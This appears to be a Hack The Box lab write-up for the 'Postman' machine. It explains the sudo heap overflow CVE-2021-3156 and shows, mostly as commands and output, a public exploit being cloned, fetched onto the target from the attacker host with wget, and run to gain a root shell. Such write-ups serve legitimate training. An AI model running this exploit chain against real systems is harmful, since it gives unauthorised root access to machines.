CVE-2021-3156


PEAS discovered that the target system is vulnerable to CVE-2021-3156 due to sudo being outdated

a vulnerability was found in sudo up to 1.8.31p2/1.9.5p1 (Operating System Utility Software). It has been rated as critical. This issue affects the function sudoers_policy_main. The manipulation with an unknown input leads to a heap-based overflow vulnerability. Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Impacted is confidentiality, integrity, and availability.

exploit (sudo baron samedit)


While there are many exploits available for CVE-2021-3156, this one is very reliable

┌──(kali㉿kali)-[~/archive/htb/labs/postman]
└─$ git clone https://github.com/blasty/CVE-2021-3156.git ; tar -czf CVE-2021-3156.tar.gz CVE-2021-3156
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
Receiving objects: 100% (50/50), 8.98 KiB | 613.00 KiB/s, done.
Resolving deltas: 100% (25/25), done.

Exploit downloaded to Kali Since the target system already has compilers install and available, the exploit will be compiled locally

Exploitation


redis@postman:/dev/shm$ wget -q http://10.10.16.8/CVE-2021-3156.tar.gz ; tar -xf CVE-2021-3156.tar.gz ; cd CVE-2021-3156

Delivery complete

redis@postman:/dev/shm/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
 
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 
using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# whoami
root
# hostname
Postman
# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.160  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:6363  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:6363  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:63:63  txqueuelen 1000  (Ethernet)
        RX packets 17259  bytes 5386298 (5.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 17632  bytes 12459307 (12.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 19  base 0x2000  
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 28420  bytes 2019138 (2.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 28420  bytes 2019138 (2.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise